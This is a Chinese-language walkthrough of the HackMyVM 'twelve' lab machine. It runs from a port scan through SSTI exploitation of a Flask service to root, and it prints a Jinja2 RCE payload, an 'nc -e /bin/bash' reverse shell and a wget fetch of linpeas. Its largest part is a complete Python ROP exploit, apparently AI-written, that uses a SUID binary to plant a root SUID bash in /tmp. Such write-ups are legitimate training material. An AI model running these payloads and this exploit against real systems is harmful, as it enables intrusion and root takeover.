HackMyVM - twelve 靶机渗透记录

HackMyVM - twelve 靶机渗透记录

一、信息搜集

1. 端口扫描

扫描靶机开放的端口、服务和操作版本

rustscan -a 192.168.56.103 --ulimit 5000 -- -sV -O
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TCP handshake? More like a friendly high-five!

[~] The config file is expected to be at "/home/tlgjm/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.56.103:22
Open 192.168.56.103:80
Open 192.168.56.103:1212
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sV -O" on ip 192.168.56.103
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 16:41 +0800
NSE: Loaded 48 scripts for scanning.
Initiating ARP Ping Scan at 16:41
Scanning 192.168.56.103 [1 port]
Completed ARP Ping Scan at 16:41, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:41
Completed Parallel DNS resolution of 1 host. at 16:41, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:41
Scanning 192.168.56.103 [3 ports]
Discovered open port 22/tcp on 192.168.56.103
Discovered open port 80/tcp on 192.168.56.103
Discovered open port 1212/tcp on 192.168.56.103
Completed SYN Stealth Scan at 16:41, 0.02s elapsed (3 total ports)
Initiating Service scan at 16:41
Scanning 3 services on 192.168.56.103
Completed Service scan at 16:41, 6.07s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.103
NSE: Script scanning 192.168.56.103.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:41
Completed NSE at 16:41, 0.07s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:41
Completed NSE at 16:41, 0.01s elapsed
Nmap scan report for 192.168.56.103
Host is up, received arp-response (0.00098s latency).
Scanned at 2026-03-12 16:41:25 CST for 8s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.66 ((Debian))
1212/tcp open http syn-ack ttl 64 Werkzeug httpd 2.2.2 (Python 3.11.2)
MAC Address: 08:00:27:71:FE:6C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/12%OT=22%CT=%CU=31394%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69B27C3D%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 46.464 days (since Sun Jan 25 05:33:21 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds
Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)

可以看到22、80、1212端口开放,80端口是apache的web服务,1212端口是werkzeug的服务flask服务,猜测有ssti的漏洞,老规矩先看80端口

二、web渗透获得普通权限

查看80端口,发现是apache默认页

dirsearch扫描路径,并未发现什么有价值信息

查看1212端口开放的werkzeug的服务,技术栈是flask+apache

发现这是一个12进制的转换器,验证猜想测试ssti是否存在,payload{{7*7}}

确认此处存在ssti注入点,目录扫描也没发现什么有价值的信息

打了一个rce的payload,发现有waf拦截

直接用fenjing测试:

得到payload:

{{((lipsum.__globals__.__builtins__.__import__('os')).popen('echo f3n  j1ng;')).read()}}

然后可以得到www-data的权限

同时查看/etc/passwd发现debian用户

发现这个权限刚好可以读取到user.txt

但是这个权限无法读取到root权限下的内容,所以接下来要提权

三、权限提升

web界面操作起来不是很舒服,nc -e /bin/bash 192.168.56.1 4444;反弹shell到本地

发现www-data是没有写入权限的,只能读,且也读不了root权限的内容,也没发现什么其他的web服务开放,执行命令下载本机的linpeas.sh,注意/tmp路径下可写

wget http://192.168.56.1:4444/linpeas.sh -P /tmp;

linpeas.sh看结果,发现一个SUID的可执行程序

base64编码后拿出文件逆向分析

拿出来在ida分析,可以看出是出题人明显埋的后门,可以通过栈溢出构造ROP链拿到shell

让AI编写了一个EXP:

#!/usr/bin/env python3
import re
import struct
import subprocess
import time

BIN = '/usr/local/bin/12'

# Debian GLIBC 2.36-9 offsets
SYSTEM = 0x04c330
SETUID = 0x0d5370
SETGID = 0x0d53f0
POP_RDI = 0x027725
POP_RDX = 0x0fdc9d
POP_RAX = 0x03f0a7
MOV_QWORD_PTR_RAX_RDX = 0x034b57
RET = 0x0270c2
BSS = 0x1d3880

# 直接落地一个 root SUID bash,避免交互 shell 不稳定
CMD = b'cp /bin/bash /tmp/.r;chmod 4755 /tmp/.r\x00'


def recvuntil(p, needle, timeout=5.0):
data = b''
end = time.time() + timeout
while needle not in data:
if time.time() > end:
raise TimeoutError(f'timeout waiting {needle!r}, got {data!r}')
ch = p.stdout.read(1)
if not ch:
break
data += ch
return data


def main():
p = subprocess.Popen(
[BIN],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
bufsize=0
)

# 1. 利用 option 2 泄露 system 地址
recvuntil(p, b': ')
p.stdin.write(b'2\n')
p.stdin.flush()
recvuntil(p, b'Enter symbol: ')
p.stdin.write(b'system\n')
p.stdin.flush()

line = p.stdout.readline()
if not line.startswith(b'Symbol system: 0x'):
raise RuntimeError(f'bad leak line: {line!r}')

leak = int(line.strip().split()[-1], 16)
libc_base = leak - SYSTEM
recvuntil(p, b': ')

q = lambda x: struct.pack('<Q', x & 0xffffffffffffffff)
B = lambda off: q(libc_base + off)

# 2. 先把命令字符串写到 libc .bss
chunks = [CMD[i:i + 8].ljust(8, b'\x00') for i in range(0, len(CMD), 8)]
chain = [q(0x4141414141414141), B(RET)]

for i, ch in enumerate(chunks):
chain += [
B(POP_RAX), q(libc_base + BSS + i * 8),
B(POP_RDX), ch,
B(MOV_QWORD_PTR_RAX_RDX)
]

# 3. setuid(0) -> setgid(0) -> ret(对齐) -> system(cmd)
chain += [
B(POP_RDI), q(0), B(SETUID),
B(POP_RDI), q(0), B(SETGID),
B(RET), # 关键:这里必须额外补一个 ret 对齐栈
B(POP_RDI), q(libc_base + BSS), B(SYSTEM),
]

payload = b''.join(chain)

# 4. option 3 写入覆盖 saved rbp/saved rip,option 4 触发返回
p.stdin.write(b'3\n')
p.stdin.flush()
recvuntil(p, b'Enter bytes to send (max 1024): ')
p.stdin.write(str(len(payload)).encode() + b'\n')
p.stdin.flush()
p.stdin.write(payload)
p.stdin.flush()
recvuntil(p, b': ')
p.stdin.write(b'4\n')
p.stdin.flush()
time.sleep(1.0)

print('[+] done, now run: /tmp/.r -p')


if __name__ == '__main__':
main()

这里踩了几个坑,记录一下:

  1. option 2 泄露出来的是 system真实 libc 地址,可以直接拿来算 libc base
  2. option 3 不是普通的局部缓冲区溢出,而是把输入 memcpysaved rbp/saved rip 上,所以前 8 字节是伪造的 saved rbp,后面才是 ROP 链。
  3. option 4 才会真正触发返回,所以写完 payload 后必须选 4
  4. 一开始尝试 execve("/bin/sh", NULL, NULL)system("/bin/sh") 直接弹 shell,都不稳定。
  5. 最终稳定方案不是直接起 shell,而是:
    • 先把命令 cp /bin/bash /tmp/.r;chmod 4755 /tmp/.r 写入 libc 的 .bss
    • 然后 setuid(0) -> setgid(0) -> system(cmd)
    • 最后通过 /tmp/.r -p 拿 root shell
  6. 这里最关键的调试点是栈对齐
    setuid(0)setgid(0) 之后,如果直接进 system()SIGSEGV,必须在 system() 前面额外补一个 ret 才能稳定执行。

验证目标环境时,还确认了两个关键条件:

grep -E 'NoNewPrivs|^Uid:|^Gid:' /proc/$$/status
findmnt -no OPTIONS /usr/local 2>/dev/null || mount | grep ' /usr/local '

结果表明:

  • NoNewPrivs=0
  • /usr/local 不是 nosuid

说明 SUID 路线本身是有效的,问题只在 ROP 链。

执行完成后,成功落地:

ls -l /tmp/.r
-rwsr-xr-x 1 root root 1265648 Apr 17 05:06 /tmp/.r

然后直接拿 root:

/tmp/.r -p
id
whoami